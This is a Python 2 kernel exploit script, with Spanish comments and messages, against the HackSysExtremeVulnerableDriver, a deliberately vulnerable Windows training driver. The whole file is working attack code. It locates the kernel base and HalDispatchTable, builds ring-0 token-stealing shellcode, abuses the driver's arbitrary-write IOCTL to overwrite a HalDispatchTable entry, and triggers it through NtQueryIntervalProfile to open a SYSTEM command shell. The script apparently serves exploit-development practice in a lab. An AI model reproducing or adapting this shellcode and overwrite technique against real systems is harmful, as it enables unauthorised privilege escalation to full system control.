import ctypes
import struct
import sys
import os
from ctypes import *

kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.psapi
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

class escribodondesemecantaelano(Structure):
    _fields_ = [
        ("What", c_void_p),
        ("Where", c_void_p)
    ]

if not hevDevice or hevDevice == -1:
		print "Couldn't get a handle."
		sys.exit(0)

enum_base = (c_ulong * 1024)()
enum = psapi.EnumDeviceDrivers(byref(enum_base), c_int(1024), byref(c_long()))
if not enum:
    print "[!] Error al enumerar los drivers!"
    sys.exit(-1)
for base_address in enum_base:
    if not base_address:
        continue
    base_name = c_char_p('\x00' * 1024)
    driver_base_name = psapi.GetDeviceDriverBaseNameA(base_address, base_name, 48)
    if not driver_base_name:
        print "[!] No se ha podido obtener el nombre base del driver"
        sys.exit(-1)
    if base_name.value.lower() == 'ntkrnl' or 'ntkrnl' in base_name.value.lower():
        base_name = base_name.value
        print "[+] Kernel cargado: {0}".format(base_name)
        print "[+] Direccion base del Kernel cargado: {0}".format(hex(base_address))
        break

kernel_handle = kernel32.LoadLibraryExA(base_name, None, 0x00000001)
if not kernel_handle:
    print "[!] No se pudo obtener el handle en el kernel"
    sys.exit(-1)

hal_address = kernel32.GetProcAddress(kernel_handle, 'HalDispatchTable')
hal_address -= kernel_handle
hal_address += base_address
hal4 = hal_address + 0x4

# Roba Token de SYSTEM
shellcode = bytearray(
        "\x90\x90\x90\x90"              # NOP Sled
        "\x60"                          # pushad
        "\x31\xc0"                      # xor eax,eax
        "\x64\x8b\x80\x24\x01\x00\x00"  # mov eax,[fs:eax+0x124]
        "\x8b\x40\x50"                  # mov eax,[eax+0x50]
        "\x89\xc1"                      # mov ecx,eax
        "\xba\x04\x00\x00\x00"          # mov edx,0x4
        "\x8b\x80\xb8\x00\x00\x00"      # mov eax,[eax+0xb8]
        "\x2d\xb8\x00\x00\x00"          # sub eax,0xb8
        "\x39\x90\xb4\x00\x00\x00"      # cmp [eax+0xb4],edx
        "\x75\xed"                      # jnz 0x1a
        "\x8b\x90\xf8\x00\x00\x00"      # mov edx,[eax+0xf8]
        "\x89\x91\xf8\x00\x00\x00"      # mov [ecx+0xf8],edx
        "\x61"                          # popad
        "\x31\xc0"                      # xor eax,eax
        "\x83\xc4\x24"                  # add esp,byte +0x24
        "\x5d"                          # pop ebp
        "\xc2\x08\x00"                  # ret 0x8
    )
ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))
buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode)))
shellcode_address = id(shellcode) + 20
shellcode_final = struct.pack("<L",ptr)
shellcode_final_address = id(shellcode_final) + 20

print "[+] Direccion de la shellcode de ring 0: {0}".format(hex(shellcode_address))
print "[+] Puntero de la shellcode de ring0: {0}".format(hex(shellcode_final_address))

#What-Where
ass = escribodondesemecantaelano()
ass.What = shellcode_final_address
ass.Where = hal4
ass_pointer = pointer(ass)

print "[+] What: {0}".format(hex(ass.What))
print "[+] Where: {0}".format(hex(ass.Where))

kernel32.DeviceIoControl(hevDevice, 0x22200b, ass_pointer, 0x8, None, 0, byref(c_ulong()), None)
ntdll.NtQueryIntervalProfile(0x31337, byref(c_ulong()))
print "[+] Disfrute de su shell!\n"
os.system("cmd.exe")
